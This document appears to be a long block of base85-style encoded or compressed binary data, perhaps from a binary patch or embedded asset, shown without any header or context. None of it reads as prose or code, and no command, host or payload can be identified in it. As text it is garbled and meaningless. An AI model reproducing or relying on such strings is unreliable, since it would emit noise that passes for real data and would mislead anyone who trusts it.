z5aHbDyGf=DQJaIROi{jiE`%B*W7Y8 zku9l#Yt;}DR;CxJPSc0Bq%~crc3OqNme|`2>M#MZPJIE|V%rhw2Y`8s+R+W*!@50{ z0eW*S^)1qyOD*ur)Rf_pd-)xz{7#c$*8_`*wc{=43c!4E05SWN9Q$#kyd?Pu^*z0* z%|PA4TiaK3w-@2m8(2o{vV*%hoOrySgYoTPOX!Z=QVU@*&X@^w&Q0f>>& zIhmAo7`~yXNd8mkZ)ve~%qe$FmP;6iTn00_RYL z7sz&@Y!}J)QQ0n*?Go88mF;7)T_)S*vRxtDm9kwW+tso?D1Xe;C$iV=aodrA?Dj|k zaC;;Y(19UAnYxg? zG*W;~17-9i&WjGISD|5h5k8%CTy!XP5)$izB#XKR32{bX8c+)_AqFG_wd4|Fm@Oz^ z3#Q~jO}pd~FMGhINKivBd7P6yV3P;6{F29z>;aoRs4I{>24xS}@)@0hZQ(NV&;Q^6_LA~ra*3V zA9N26^IA0na$-mW96^NclLa)2%V}Aw?l_?2E*+C0Ep#4p*8EYnJ%SbEHo1P_>LrQ~ zDci)V4$lxSC^kI1UVD7y*K4Fm&#XrnP`8%h`hfEc5Z#~A801CC35I4r~gw~zk#4LNo! z{`huTEb)Afa{kAZ*l|Ej2jv+9SOEaU2Hu2`7iXZ^ev1EoBm@91&gVPDFBE@|tL>3d z{$Kp!3-#aI35KGmc<6aW_DqF4MK-V`{C-%3goWP$m~^-#1~>rcNY)&{S(s#)OE4r2 zKDjU%07qa3VPp%~i!yi{Hq^+M#E^6nkq75dm`uPtQ`z@Zm0J+cW{|YNP!I%@s?ETY z8^0`oJwQV~>C*rwQ8dY%jj#bzg8b`B|2LT2e^MC*!Szna$ zfB(OHS}jrC{y*H3P@9C-fSMTT2M7E8;{RWfDdzwFum6qZ43!#c%Nt=>D-D|(Z^|ob z+q+-@QjdTiG7Zme;P9j7p4eLfcft@kocPHZ-76s={$Ibb|JUtG{&l7QTWgR0Z4PDr zl**`?f9hL*JjVS~!T3|bKnnb+VEn&7#rzL$zxd+L7nmfgzxW1&g#QUpo>||uf58>5 zi{`g}`_HOxwtn;7_rK%5FvrJpYqxFP^3UJ=)eqkZaa+Fr`hWlJw{hFP`tDo1qQTpZ z`E1;_<-ctG+ihFo{>$Heza?&~;;Ja&y?(hh?z``|Y}@+3{kOQSzabt)GPjPg{I9@z z#r^jC@3(%t?eD(&X6s*n_4U_Z{h)Z_=L~DZKW^Rji|@bt&DQU?{SF~H@v49P`n!MF z@-+f+qCDch-wJsviXGNC{nq@~@3;Ks|NM5FB1z}Ot^4h_4s5lj6T6;pfAbIjv^8#< zqGct#4HW0U-n#AA-~H0AII7+FU$^}5&7b|#579qt`~ItM|Iz(d-+%YbU;cW__ka1_ zFSjc0x~Tuv55M^St8c#A_SHXcRkW^%+xSmg{&|ZO%HMtWSAVPc=)xjJ<1fG7^1}~` z(G|R>r0!oi8C}&||JAoYY}@i}+}6MOm1{6ATH9Px&vS+RZ@&Kzzy11aSEluG-$B^- zzm3}#t4Oyw6K3NtxBlv@Z=K1j7+X=zTk=BQZ~H1vN+iX&-zRD0<(fwS?)&ez{7!NE zQ<`-@{PrKD6jj{$)K3Mq;>8{GR&7t8ZJIbju!RY|9>{?z=6Q#YI0=ud&W>Nmr|HH8yCbG!@F{;z{Kx<+A3c z=BcVe|5P>YSD;bN8t071mD!d(#xiB5MWveb$kt8jvIAPQEn3yB=pFiphI7UT=3?Eb z?x8usBbB=;c6;v*_z-SCzxuZF3K4Pp^?$gDqANuE+Csq5*`^~4+s!2nld6)UR zHr0H#=xJ|3WUGUt`we$AyMrEjJ<>k($_=WwfACG_dUTI<1^OlNoPT!E z^v_OddNi4!*b}rEy<1nPpY+HvPigWjm+bYL%Z5_-Omn4j|Cjf4>46Wu5~Gr$lA{JJ zdFmpsi<&V+s6n%+Zwt&eAMh@9Z&UVaYCWgLEaiLC(ZEOAlb*Gn?K;&>Q@;Ai#@*)q zK^LP{syffP4TA>NA^k4HghsV!ob)(nDhVjEv|B3eZOQ=+pT^Z`X2eP36Vp<(>Y{x~ zy`)a_TUIaQxjS}GY))*x;eg?=@saq{^hi`8y_Z3e%$?JH)FpH0y|=5|jfYI}{yY3{ z|Ll$5NzH=3-TM)L%y7Ygd{9;!KWaw34+UJZ+=!XdZP)jCkLV8@N({#hPYtg%hm1|e z36FVGM&Ql0H`n%rz1H;Ei@fI4stK`HGo-09#H%MfmO%0XDcotkpjwPN<6B`b^?cxW zU2OLr6-UKnDkU3V>#_`!n!SdL2GvP~sQO@f;s4UV$#Pxu^kY3WRYPSrD_JKHyyh%+VNfAMj4{D~>6NDT`TDFQ|#G927}@l`-8L z6(==Ub&Z;vVxxBo*Pu`4u4%On7)wTkAo4p6w zTjX`j^Ulwbe!lPL#hNM&U!^&uJEE)g9Do9Ix;{;x=77FZe?mXRr*f)M&46ZHlV`ZA zId8aRcqiU9BzPnk_Znw3&&4)lhq2Fi*?84>$GF|JOS|7R;n8Qx)+VSwnkuz#l%?*C zTGgz7LO?-4m$oJFbl`b&Zm?=hthcmS+AOCnDcrE-hNV}NVLfVnZk-f&3PO%;#G}sh zfo+$)%3fzbZ9iilvM=~9_+IzDwE6PpE1R!wKIlFEGu0kV9{ca!n5-KWb5OEsJP+$? zbuGFPkDEHwxaYc;y0^MSeVgXE{)V1U=FWJ((SOuu7)lLSRkenP8r6)L!aXuf8&bFe zW3jQsSZX|GY|>O3r^Q-hopC{P#yDg=Z@gq2H@-3^sS~vPPE(3HS$ooyu5LFCnD%Ie zE2c?t+Izxu%k<2&Y*MAG_xY!z-Xy3``VacoX{Y@8NBpvXVn8*Ytj-L~4tyWD7wnkoyT#ihM%81HW@7*-C z>HMaLn;vaC>ic-plTF8b%Y56suSQ>s9*rK0eiB{2=2`T1OSwALQl;HvDY3L#IxM}G znsurR-h8X|sPC-x!I}!+Y+J4^&vw+-=v%2Bv0bsfS3k0Sur1n>?R)Lz_BXyK>?iGW zzH`3K;s@U=_7cyJ>JrcW-X)&%>iypPy)$A;JTqg+z2AF>UslZSm_0EGe)H0ZEI z(k<(f^gH#*`gDD!K1;t_pReDi@Af{ZAJkOo>-CNL2Co)C<$eV4B!&RAZ_$)teekt)?zh2G?&oV;VMHHC;1ZH{CGJi}y?dU!cuW z7itT&Mfg`;+>oU#(Jq*lOnj1mihr8_HLq)4d;D|!bNvhbtF)!=?f(7#XZ^?gC;V^u zPx{~UzwiIRzh3*q|E5=)vPs*dRUA|wR4YmY+O%!jduYxtYH9*%0~E~x1?mEIt)?rW zL))P(P>JuqZN7Q0c}#oIe8^0$Bjy5gp}EMcn9!awcbL1)inHdM=3C}T^JB9@@y7hl zd|!Jw=&80Ks3_=E&`WJ?P<>EKP-{?I&_Ga^_G-{r&_vK=(4C-rLHC0m1ijTh37QI; z)i$V8gVTaPYU==H24@HF32sn-)L!tu;H_BDE_>$%=Lau)qpo`I4PMm7i;LQQsJZ)r zI}ltI+#USH>s)Y}Pqxp~;2q*Z@M3VD&rI1>qTWZ%MSY0M+msQV8J!hV;Qsz zSBBFw%fMHR_fm8eazOP9`QJCyU(Ar)!1rnb+#5;r>)DT>a+FR&e{fT&0c4Gui3_I zoDr?y(pT<;m%JKK9(rajM|Z!faH^?mDGYHtwfzt*1X-C$RB+k5RFeLwoPis$U- z?eo6Z?2Eo*_HjVB?1~h$GubgYF->S)W@6sO=`v@Tl?Z&`j%|>Qt|EsyDhB-8HUjn*-l8=&sB-cvQGAJPx& z&+E}fsuDbsxeM^UNPg1)RlQ1uc2s{I=md{ZeZ42gaYM{|Oh2yY2~5R5QBUY^G0_g* zWNuP_n_=ob@96L9?*UFz&TaVd|A05)?&}}uAL<|JAM2m!r}T3hru9$t&-BmrF94tM zrvI1vSNe42YyDgOjQ*Yey?$0dr~jZ&;nG#}dZEGVx+Wg;fE|XNh7?1pq0c+bkZw4m z$u{gZsP-6g47rAVh9hYA3k-#ZBEwNbgBSgu_eN6jWrlJ?g`v{$Ky$)y(okb~g8}li z*lg%9bQ!u0JqG@X=Cq;DFyWyZGMqE0t{AQwt{JWyR5uKx7+R@@H{LX;CJYz6?-=eG zrZx8s4-CT_fuGhqF-!sESu!PaJddBiajF#Vx#0yoIMzo^x%00KuMJsBmavqbQ|`%J zpXVDxpXXb{j3F6G{?4FMO}S6G<3U;R6bd5yW({e|KCfq*XPRZhOU+Bo4r8J*$(U?R zH)a?!jakOs#$n7R=0#P$ai8(6=B?(S@wr%JEH_pd-)Y{V1DnHtl`(@mWvnsQ8|O7k znl59vvB!AY*l!##4jM;{7mQbo*NoSVH;kjkG2^1E#NZ%l8*677uXooUuIBl6q*ll@cuGyJ(s|1AG(|K0w1{`vlU{SW&e@h|Wn)fD^B zU?yDZ-{r6B_V4vSwf>C%fd7#Hu>X1g5&v77QU7uOoBr9_JO0#Klxpr{L|^J&uYKgt zzx8g^PWy9$C|(mqSX?fDT@)1SH>}^F5a~}LDip8$x!3-}8-F<8`ae~P+>C!N|IYtD z|K9&0e~+K@f5dSmtI9>~lI zXiyTYSj!2y0ipowfLfgJ;#;BCJ8uq-Jg7x3ASJJSs0FXRP-`DV0KXqf4HEf5^&r=| z<{})z0cZpad|99e1Gp5mAi_|p@Pz@z>xu$O*BuQgSyvozY#nJvX+WJj>x( z0nbXftKhDN`#9W;_5@4SlPpzF1yH)Wh;SrzHD8H}en`#N1zcZOACSTUYzP=348>R! z8Ur#oMNHU)qE?++CT=d9b~XrCOWf{sRzDxZ8CR6&EvP=%yc+}j(~o?6Z|~y zCxN7DR)kKa-CY?bbyGbq7UiYA5gGHaR$Hu03HPv0?r0d z6V{Df84PIRd$b&Wj0A{yDlQ-u6?Zjw%p%l_$PbPHGM56x zde2nua=;}NPU3{Q5^$Nnicse~_(F9GS)E>kJS_aK1)S%L)EptUVtr^2*mGhK)(##3wZ5De)j`jxG5e4G_HGyWI2xc#iIZ*6>)kDy`Mnu_Z#`6kP2%O zYQn;A3VM@^%rsO6>M2x~3CQY)63?LYb13}+3crNHuaMZUkynzyHvt04CBnDR7AYkt zW&+S=-1g#xVzqe3i$8;$fJ=ObnnN&9lE-`09C$p`%yP3(k)LDr2AC4{Aol@Pne2Qb z0n32))|!t2lWT6RLA(_60aa@j0xH%l22`&pRhO?>3OLSef|mm-*KjCj@qsDpwg;xI z+Yy+$j+!;-mJkRHxx_#!5y{+~H~o?V``uujMH${1n9A)69O4JH0y&cd&$t1EXG&lS zmkL9LfmbNRYGswOQdyxaQO(X7@pD=ZzZAj> zd4W1f;(m9x681XzkMgoNkfx<A~Ii;wA%yO11dFi@%Hz;fCWjLL?WElGh!C z2(P;c@g711{ysviLd5`ai3@_GWv z@S1|;X-EeCDI|YHB!DIB86=ba9Fl*7&aRCUgt5oD(A#nk`Msau(D87X? z6S%zo9Yim!M;V+&8RW#dKwkKOQYZ-B-h%iske?^VLZBcnfnBkTN4z3}ucIJ!J+SX-baIR8j%orvyjt{~U)x z01t(c0h7r!vR?n$IN1xd5B-| z=1!n9C^sKe0vyMf@}!z446F+C5hY5T4e#)KZMQF%mjpsqE zP%M~*MUXC;cMFPTdWi8sxx)6K96_-IKmq}YLHR;b&|X2Y6TmJ46v;u`JrobL$ljn7 zE-eVrRDhq3TxWQb%eOc2`tX?N6MB5t-uw46_r7a z%BrAiLN)B;uus4~30tZiHBf4ft78d~$2%%?LlCNTBa%yaiS%2k*6l%)s#lcoD3u+I zv-1J4C&+rB-U@FocuxoQuUGUT9a*E$A0(a$;)Jt7;vi6pp`b2z@m$bT6&2;- zpeCLd&j*PkLBfR~?qZN|DM)PQUu&g8Mz(l4=r(r+1`VTkDt8Ssu0y9AL37+Fur7@t zd9!A4JZN=8cryr1A^B2c$lVH(Vs<+ynY9|!X7r%^HuGIb84QZLd7fGb42!s4zG5Bs zR!$0PV*W?Of;fYuOyQ=X;#0ZYNv-EIO0wsa*hJCFzXB}fzan}g@L7AB)LSW+j+ho+`&B&i*e1fr#S-9b{gPRK~|nN;nB z7Q2{~E=ZZ;Tzez9YVBxn`Pvj8 zA(e?s_etl*NF3~OR?cstoTnkm6Da4mAi9ytxlBKaa()})??628_}xVS89q1HlF9TD zvY61_5Oxnj$-d8oK7i0{2z>~lk07*(gv#`fA@m7^PC+Q}_)SCT9tb4kXxN*1Odwb; zKSK&UM=rf!sgUEdQfOXMO1z?!AWF)k*DQ74K;B!V!c1`g`eyaO`W&CL>s!=)%&^2& zi0@F0-vGM#SVn_;?6e8>l5q1Ge4$0tB zLd4V%tf7&p^bj!vD8M|Q@56ELHM}AdbP9!In3EMEW&^Q1BulvmCI==L?mU=$7;x?l z;rE4b-2MF9YI|9jjp=tr>3PaMleLhleouuY@;EO`K`Tah_N<#De z(U1}40pu4)D2|}w5Y}&(gfwg@4QbqP3{uKM#PSeKArJa+6^OzimcNw{U4@`lhQQS! zNcrPn7l@*jKM~T&pA13$0N<&Q7QQBAQdJ9%x{x}RqCTWW*$~phANFZdl4%TSRyKj? z2ntAZ2-kv$w1x=e65F6cJ3{M_L+cD-LzMz(EDdnFLJ$FRq7Ukp)E54}z~^d+K(1@R7Q?+$T{tA3l_TPZ-t;{EN-7}Qy??5HI2OHJ5S;}*64$1HV zIj*QcS^S6~=fS$bSQil>u-$y6Gsq3QYM5RcgQX%8GkB}D1;i*Uu6;42>42a5vs4Q7j zhnmL^KG~t&{7EJbZhm*@i1HMrD4{rl_DDi=LK`;ZhBj`ffvh~p%7?7IvaEffJP&*~ zU+YwBKdD7dsC7V+a4=Ln6e@^^!F&YF1u}D;4=dmG5-VII%0gl$L{TW%j}m)v=s~4e z0@hNn9+O$i5N>%W!fkMdTS2Vk1Y@NXZdIsI9V#3LucMNj2yNz1h6<-b1qo9V$|f*ant%M504x z>XevToJ?KBL{2buOW|~)4wLDDS1*($xYfrI9fHKu5Zec_{j%6LA09tMpxr6>3<)MD z1P@4p9U{&mMFvBgl|!M_`kxEsx#3VjI3LRKBcYAT3osX9F2OV^uY_iLTm{qxCCFTZ z*y~V=;2Xe?GO969jRR`tyMez6nhDSld<)n~nA<1}38-dwp!r>BelK*6yB|tJD#FS` zDgs^BGv0d3D;fa!N1>TY@(0WYRvjpsm2Qr&%y zXk!u<+QPpK#XJWJ39mzwxi_J&RBuCHs%EHwbRl)A9VPo6)P4^$8``3rLvl6YKb7n8 z;XZ_>D`C-EK%=rySP0GbAbXM7z3M_?3EPgA!RbiwW)a<$y2O#hnLtzKeS=-1}VI`{6#|;%?>-u5vm1sb>B# zJWl%{`>?9-gB6xO35IovI|DVy6hW<{P>bMV(3c=NO2e9!{phL43}DQ2#)mtGWPwF4 zGN;y*g`HYcv!-^9u z$CZ6yBPw|T{R}(@;CYt#r8V_IpoSz?2{8=Bc~`^;5Ep>BxWaS^sLMcISwUR|>Kahj zS5Otovp%FqxpFM*q;edp464N`FMbfcc%sO`aWiZ`a}knxO@!s}@VXT?%S|GKfWI9! z!VO`$60IJG#0k@%N9n1i)B+rw!Z2Mh-TIe6{}Pa^~-bi^XHJG%fSgj3&<6h6o8 zWC95%D?}iP+ZE0wGl8p?WyzPsP(4WJQo!tFbZz-YK8Xq3#1xJ>5(K1C=;2tXVqp_T z4x7MqWo9@QgtJ)K(_UDx@}kJ#nWn@eI~+Kfc8LK4#ed$afFe@5lB(V3+M8G z92N2xWWjLFd6@C=UZec`mCus^(!zl4%?AiRk`7~aL7qe+oWe<-|_KOEl4 z9|>)PVaRT{z65N<;hp+S}HHZLL z8;<^jC^655^7Y`y00bH}hEJ-Rzyrmb!+D_v@gMb}-;#*e*VOX2hVyOV@D~*A;bKQP zqSqPT;-fhTJ$juGP(Y6HZmDo>Da@O@Z=l_N9j2WjWEy{4Clsu zgrRT|PsO=#?xv4094_Lin7|P37K__?NF9--O5@uL6sL=j03xEHUh)#+bQy|XL9DJK zR@YGKCK>;A@ZVU)5AHEa5%MSAah4u8!8rlW+dli(lerasVEuWFZ|^WElaO*7DSU@X zx+|yfT@;ghC?@xz(SvaAA*6zZI9mBfNa@E+@)JnDi?xU;=yZ=sn})Qft8{usae7W# z5d~@Wg7Llt?<;5}zD5GS0oz-dEluR{!`SIQOJcwnls*9OOgKjzSASadN5CzFeV{+0VCj)Xa!8^@( zGdZ%efXC8BL=XSeCz;y~+C7kv0|6syPJqdaz_MsQ!ob2PkpR`p?~SNfC+>?#;r2s; z1F`}KBUnj&<}9g)B2ZGvc{l)ku7` z5qw<)UmqbhL0d^)@~(E1Bd-^y`rg zN`g}(g|tXPOpi?AG9s~#6e(5ptVmWzmYgLo8$292QSx>pWYmy7kwOmGa$)i!g?w=C zjT997B8B~t!huNPV5D#eUWX&)`D}yo2vjVH6bd7=l*<_BOSwc)ysxm`m&O_izNl;v zME220%8}y8Mt+BH3Re=@#Frx4mncVM`eTu;d>Nu%4!OYNSApm!`rceirZQ5fLP&~g zJdmEpBl#1NSV4#s*vkDWU~3|UTEx8$TGk`(4RYKYrMM^gI@Y$DDDLD$+?%DiJG5^> z(2CpKZB9(bIHL`c+99bUl7?@Dk%uS*x=a{5BV7i7hJq3^0SrOf zIY=93(g-6fOCVGBJd?9(U`T!>VFXMUB44R4M!r;Cf}qQQuK>OpDZEl$2XF(3QP^Yf z9FG)l!kUQWZbb@L)Z8Q@dYj51vJx|GJdo2PEuw10!S@{)FMa)9>1fI`pj$PR~+?FSrUakZ`j0%fXI|a z2`HWvd#uJG2xp02Rry@1o>Z30qQnC25T7M-H!uJ%k2V{s)#zGBur)0 zMUJnEI!qM!RYzeDNK`JPIuS*=uQ(Zn5%Vd;vj&Dn(TdtAu`UXEUmt}J{G!siMtIPI zeNz-`Vh_sAOmozTvLy-{5dx~WMzKa#(H14PgS{h4?1a@NN3k1%dSpS3{2`=b6W@z8 zUVEU1I9CrpOcgS~AH4r79g^0l@aR}Bq&|pCwN{zr=h!QVGop-wwHSBgd zYQ*hI)CISzQQ|eAt^;)gs8OKCqOz3ZFgL+55yc($6>dd|cuoR$8=4(qIeiDZ-F50l zn%yJK?vrLjL7F{anmvSOkD?}3kE1HqK8dPaI~7&6b~>tjts;Ya3IX)5P&`A5K93S! zLg;ZyofUYG&_V()>Y7mm~9 z=tI`@191ijithlj=Io{mszFDdp98@#2#Sy#WXhEzAd$<@1$bNpCj?3Pa|wvc65V1AOPnd-OkKs9Mx5!yDe)0k3!e?1-O<9HXeP zRJ2foh-D*DYN2TzBA3pQOCDGe$OcyR(W`f2G(=-?M!wV)H_B<#1oq}tY12Y!Q|^nj zX_Zs8jiqWkQndpq)QL!U!F0p)!1ThLhUtUphdBc?0CN^*5M~JG9LzAxd6*FxX^$f_5&a6Q#jzGbgvpJl)0faRd&kma!Dh~=oI*ivdaW+}6jTPiG-mMTlN<+$a9 z<)r15rN&ZgsrRk3Ou0YN-p2tBjlNCz@3Qn+&RXWR=PVQ2CGB>fE0*h)G0V8+rsbAp z(sJ8!UVU0~$8y(l&(fy8Z+T#OXnAbu@_u5OvP@f^TAF>HTl&0S!@RS+$Ft9C&ho+X z(K2sYu=J{X)k~K1-piH_-+1eGYoayD+UeWjyVJVMnruz6rdrdi>DDgaF5hfxt~KAf z*Sg<&z>pAPN^}Kb&dck_pddYg(dc}Ixdd+&> zdc!(u9kY&GZ(1j;x2%)aJJ$Qw2i8Z{DeJWLsr8xlg>~F_+;_%W>ON=vXf5|$w#M6b z*lznK*(!Z^+IHDeY^k<1+Z|tg6rXR~Yujf#U|SXr+vYaZcpd?C&-b3Mc%OdbIM1QL zR%k1-4R0*AmDoyc<+f(u3fqA937b%FYp~taEZ}?PR$H5`-PU32vGv+iL$+zJ^R^4N zi?(UsY2WL%QQJ-1gl$6X^S))9wB5Gdu?=e;+8*1U*rsgLwsCP;cxHQUdtrNNdu4lV zdjr{nnpqoTeij9x7&Bv6YNR$o%R%asy)q~ZhzsM zZLjm(ZGY*TW6!nkv%mIz?fb?z*L%PHko~azh`rE$)Lv{au^+RS(buA4wY|o!%Jpux zx7a)Eo%Sw!zkR^27`9))K?s-aSM9AL{a?4=u#e(1(mC}_`-FYce%pS>p26L-*QxHq zJb-x!^9bfK%oCU?m}xuz)Sk>ev!lj}&+YsRJNMF#i6vgvyt4DJ?M?iWFNfb7J9ePH zwUft;oxT!U_NAX7yt6yzcJJ-ntetNYIsE4A{cf=0{gSy4c5HpI5Aoam1ai*X&$t1E z=K@47+W94DnZYf?5g)_f@f8(pEt(WSDBELb=(!`t5eCqLA|VEE@L-Z+?z``VQS5?4 zk&MS>J{3ZLG4y%N1)jf1*g<@yG{Rrv@9^XNF!myHC7%38?9dQ6 zdZyvy!u%L~Jq9uRVhYymk7-=OxPOK7gQWkOwLTX}8c+^76I%rrA4R<1K8{pp<<05{SAKxq`!jF@n zB}Phw))~eXAIvJ!*$2dyT2ZK;uAlv zHwLMGI)>|u5&C1U2xmYy0Q)S=AmE{xo9^de55t^~;YVOyh~Y27x)j5o^yMx?&J_~j zm?dA0!NLVA7tcMpR6pTbjEJX#yG}&dS-Rx5=(glG7DLZ*_PmMbM9h-gE!dN=Z^OO= z`!4KzuZZHhgY+@^t9a(l|2&+vQ>{0rDGVZVa?8ulC5Z)JL- zUUX~ppy&G-vS;Bt2j35{m)t($IS_ym1u$LKcd@S*7$8$$4Q6{iwBA!XW?S#E6 zR!ojP@0Jof?3Nlk;+7VB!HuOxdMri|8L`+o9h<^s#ZnLM?7yAU$n4n9f5y;`E<6`} zd5n)-a?ej7>-qP_QqQ06$8j(#F9FG)`u=^f%^u?ZSnN)Ll!J2Uhhk+Z&hS4U`eE=L z0bha4SNQ*suLyic!B_kfu`T(0Y!zZD7>|Lm>?asMt0q2&Dv!m^A3qv7R)DiI)^+4q z6^k)Wbu7j>L_s6ejZz@Ew2Yr$T(ioKrL8;G4Kh`o`qH-Wtw z>@BgJ*c!{X#Ui;^hC1!Bm)Yjd4%nTD5Z4upTF@QK^&qHT#PT$deLoS){?8|mcm{j} z;5+*he1kv1Hw3ja7 z&QWlV{X~%CKf!ksd=uci^%H!PKf!k!e0RWi_b2%7eV$Jtc8ICmeK0;?jO3E56oIT_ zK4cYh)mkU{QKfuDl@j{^!2jeY0{(1CpGL`ZEI2-meWiL9`%)!#LDF+bdch=-OV)%y zrpZgDNw>&xFlZw1OjF{4DFV@uM$P;y$d;BeU!#a-vD)wkBHym64Kq|5-cfBJ3aSn7 zS#6j_ZJ0xCP$)jc^4Wg;$5?(omf!8i@A2aoV)?~bekoSS@#B_b`S{Jr93Xl6TcO;( zS(^0h*nCo%uo<(V9_W;~89Qw^Q(H-{otxz-k%L8P*Jf(QHh(sk#9Smz4)}6^f=}kkgZ9!l zYs5f`=lMDEmmo#H(@9YNW`}1pzjrgX3bQQQhcNbUc5UwtY(^Fx+>9(D3d*8G;N-Z& zo3Rgf^Q5X^vrxFXT2%yd6s8!a1f~?`7)%*VIZOpiB}^4eHOz6C6EG)XPQlc`)WX!k z)WbBuG{Q8&G{dyOw8FH(w8M13bi#DObi?$(^unBm>4WLtES}l?TFDJaiJ!9W?B=xp zo4xmpt}EHn!w9l78ZR`bM?=j#h4n23k7X};MBICkb52XkvMqa-G+Mq``m3M*XEWyv zFlUfpCK$m4Mvw%U3Fe%0&JhgWg;TY6)wzct$nJhY@4naIIp5B;E1o*xe!IK(&~Nw9 zaTxu-=bUf%_og?t5A;qtNXhMHuZ%jDfNfNHovbfAmVe%wC}8RL*^0-0ir3?xpnRhD z;T|WcMb7(8kG}L`F&(D#W(pSydU?oF%gGrik7B(&h1Jw2}UZus?-Ui6Y)@AF@) zBi(JFr`@PMs=-1X*Y&tY?aLcFx^=tW+k3A5M(?DXR77D2>78_!4)=N|-S3_B zpm)+k0*~nLaqpxjy&rrz?S~%Idfof-Y43*}r$6*~)_bQud-SE^yy#7@{&ssw8n5VY zU60r7vc0#uZS#il^j_WH_D*_7Qtx}u{JKwaa}T2QO{SnZNVBJJ_ZsRm)MLE<;_VRi zOFsYAnlEWxXs?j8&cuZpKSwzn`CLh3{5 zujkNjdk#yU^KHlSa5xc0(BDY<8%2Mk>2FLjSx=^i#KzG{jXJ4KP8v_=6V&-cI+;W# zlarJB|47eK(%%#!O-*k6LY;pXI?+vz~+JCf<^BshLAeM9|2144sCLqo$u zBSIrXqe7!YV?xjWVsWp3h&(Du-d(9Tdxs5P`Jv^%sX zv^TUbv_EtpbTHHwIutq_Iube>Iu<$}IuZKnt4pD4q5FSzBXl=(FLXcjAoMWwDD*h= zH1s_5GW06+I@BIo-D`EP_n|)FnjdR^>=$nAwWim&ABTj8hKGfRhew1*hR1}zstMPI zYkyq+wfY+$Uh(yW@XC&J^=Rot!s?OJ$zgiFE&Sli6+iS?Pd#*M_@O$b|E7g^>a*$L zM_(%5jPU(0mw!Doy!`7~T3H#It?Sz6v^j)oDjR z_ImMzAJtNc{vG}W{X>0O@jF%*2k2x4Sy7^p0*#y(o;sR0=vd z5EtQlZ3;glOefC?H!J*tFrB<4O!;^f?)aL|YdUQ2m9(Q{;ndP= zMECaa$nNU+CamsBzYVYHv6FU9-i6opcpu)( z$od|wz0Q22{<;r{B#~2EvPP7lkH1Lv@T)YB2pfBto-7guZ4($Kl$}hzLF8 zN;G*5YgB~B+R+i;95p6FkM)g>jQ?(2`d9Q=;6=SD`J4G$eLgsQy_*|14G~^uPVRx-~_*Z;bTV6gl(#=E#Qcx6pAb z9Vh>I=KCo>ZutIiukPC-Nk@A1Y^IWIkIejfN2Iw25s5PS$H_lVq5s!^zx7vVdae24 za<6GWUZD@>b({8MYb5E5gl>m>el>aVH~0Sjza_N&x5Vo2yR|2LpICkWD>~l)Di$y8 zL5!t6607H^lQ}&S|G$KsZi&@56}m~}26fWVBQe@7;qd(5CPsTDwDn4?-leF!i2VZ{ zf9POt`$4=Y;o2V)t7m>e?3rIAM*lLQ?JpCn={uAOe~}m+-Xo!HIOz`gmhg~oJG5VY zYumc|Hyy-Ve`6CjlL$wvi{-iJ*iC6oS)|ye{9fry_|b#i6WR`Tm%ytps61WxDv^HV zw#_ToIf`Y|7YS{fzOckR_eNb6_b7>ZxnbvP6Uo-v#6&SVmP$U>pX=y83Su7x!TH!v zg#AQVs)AWcm3Cd_@jB&^9M$}z#OhX+{#LJ2Uj5dpEuCTQ$HZsSVzOuG%G|Q=I;^gu zN;T~2v)_>Uv)?2}O&~hky3`}66eB$6mnayMGE==|bS1^)g<=k_1us$3b}mt?pcGSv zg?5Z=a4P#JQAGWd600YxOicDNv4kWHLlx!G-zG*+lbO?YP1y?1|4Cx?jIYVSjIXV* zbsL(jTue?%j7AdLA{{wd@^>AF>p7;^C?^BHGf2m3icLR;+%}Qw)}(`emo=en6?YM7 ziY5YGVgq$0dDLj#mkDikU$QHmz7|#QEne#H|8-(i*980I(nV`YzxK<-XuqU{wtkei zP0GS18VGc0*(;~mP;^+EexnqALj!>7r47_ebz@LT*z;dHGSg)DNMk5!8lQF@eMhbN z9kpg%2F?%JIr*1~QIj_v7`HuQpAK71V2Ns!OTMvcP;2Z~k?y8Qjb&3t?a)+g^+DBk z4oV|4onLnvoid|+MM+&P%5no`nIe5lLjX7Jp}!`^&|fEV%TN+){}(I6oDFSCA6Rj>igY(cx+I(DaKaN{C%$wiFcW+=7iy$R_ee_jV>Plrra{o8S7mkoe<7?U=nFJK zo0+$|UbXFdZ-Bi@ZPTsxqY56Sb&fH_Jyd!J=a^+$R86&by?O=MCi~<#dA-1$N4F2I zbQaZdai5GSqK;gZblhL@*lR+OlCvvw!sFU$<>RznST2!~t$wD)$Y(U78kX|cLOMEd zvv@Sv6eL>vHBC>{TYLp%I(z8kMC-a$#PXb)Sc(bO)Gmu^i$)_lj%M(2G|(AB?1?Jx z;=dCKg|E;ZOdvUdwwu zB-;E{LR&MfY$?QPwAwRuVX|P_;k5(VYb;CTB^0krje?271Z_OGsj07xr#`l;9UC>b&9G6O zsE(CrbQEP^6paKs2=4F}oQwV`7tynz%6;=+C06sqZ7q#AWN=p(;X~9nbdogjPLBkv z=+WNo4mFbCu%a_5YcpvSH*rQcQb-%QJbOjw zRb@NgOE)2QZLVN+^tzcS*&CDxQynHGT_U}v?Z~TJd@}&>Ol2%o&r>7uJZ~f(NYk8& zfPKj23YS;c-)LHJj-~~tE-stYF;lFq1%?|{`M<35Z(5J;l0LiDttxM=k~hPTZl|8L zov*D`GTwQMwwtuthz(rgc#@Y`ZJf%<3f13NQ2oZTbdmHy*Vy`=B)^`Pr01w1ocmH& znOm!7dQ`zp?3Eb3Mj>CLkeU9RlJ>m2bj=Mahz%5kiQjaDYQs^cYG|x;V{*}5HN)Pe z8J16C%hUaG2$x9SG0&Gc37`;z+lNM9T@dIqa2`kCn0zGO;*uoAn~EK|HRWNOi~K$~C3~P5FqvXf!uEoysts z#(%SxQ8`)szj0x-mX6V6)8xTy2pH^1D--)^VJzs$?|44sR$`Wev2*_Hzh(E2)b#Yo zOYt+h^7B?cI{oBkZkYG(l-FBniRM~^H~zG+Ueoc8k(mhXC6zKUh*~zM)pQKK?d~Q+ z=Y$vbPCfdPuWQk4sv5i1tSm)(O`EYN)RxW(x@_i13`K=__%Ap=IwBU+F^pCEV@Y3E zfnKEO^l2f@GYe4-$^K^A8uJh7!H#$-6I6EBo6bNhU9YxM=hx8Gidk{HcKpTCT$8=% zt8Ww9KMGDRvvs zf(@!qG*F-TyM#8nVm3*N4yQ%yaO>(u#&@H^vb^M1&8g2n79%2|6VY+^hN()t`JY?2 zP0SE)f)Gi)rZO$W9Hn7#3o|ECJw8@XQ!~UgY9wBPmD6Sa#%hu}4@R#OlfNK~XHhP? zt~V2wDRH#+d)lJ;o~IY4o9%s5Y~Cj~H_42p;6}w`aZuwl3n(+%O5dPlE-vWUySP(q 